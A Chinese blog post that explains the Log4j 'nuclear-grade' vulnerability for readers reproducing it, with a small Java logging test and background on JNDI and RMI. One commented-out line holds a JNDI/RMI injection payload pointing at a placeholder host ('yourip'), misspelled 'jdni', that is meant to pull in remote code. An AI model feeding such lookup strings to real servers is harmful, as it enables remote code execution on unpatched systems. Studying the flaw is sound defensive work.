简单梳理Log4j的漏洞原理以及复现

前言

前几天安全圈子就像过了年一样热闹，那晚我也很惊讶。本来正在苦逼写javaEE项目，随后打算摸鱼的，突然看到了朋友圈有大佬讲log4j有漏洞，好巧！我当时正在用这个。随后就是各大公众号、SRC，实验室发文，后来我把javaEE做完后，看了下，很好,原理不难理解，利用方便。真的是一大神器。也难怪有曰：“核弹级漏洞”“比肩永恒之蓝”之类。

不多废话了，本人能力不够，若有缺漏请指出，轻喷。

代码及效果

先上代码：如下

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.NamingException;
import java.io.IOException;

public class Log4j2Test {

    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String... args) throws IOException, NamingException {

        String username = "${java:os}";
//      String username = "${jdni:rmi://yourip:port/hack}";
        LOGGER.info("Hello, {}!", username);

    }

}

代码中用到了JNDI和RMI

知识铺垫

简单介绍下：

JNDI：JNDI（Java Naming and Directory Interface ），类似于在一个中心注册一个东西，以后要用的时候，只需要根据名字去注册中心查找，注册中心返回你要的东西。

RMI: (Remote Method Invocation) 模型是一种分布式对象应用，使用 RMI 技术可以使一个 JVM 中的对象，调用另一个 JVM 中的对象方法并获取调用结果。这里的另一个 JVM 可以在同一台计算机也可以是远程计算机。因此，RMI 意味着需要一个 Server 端和一个 Client 端。

说白了可以远程访问另一台主机的对象，并且在本地运行。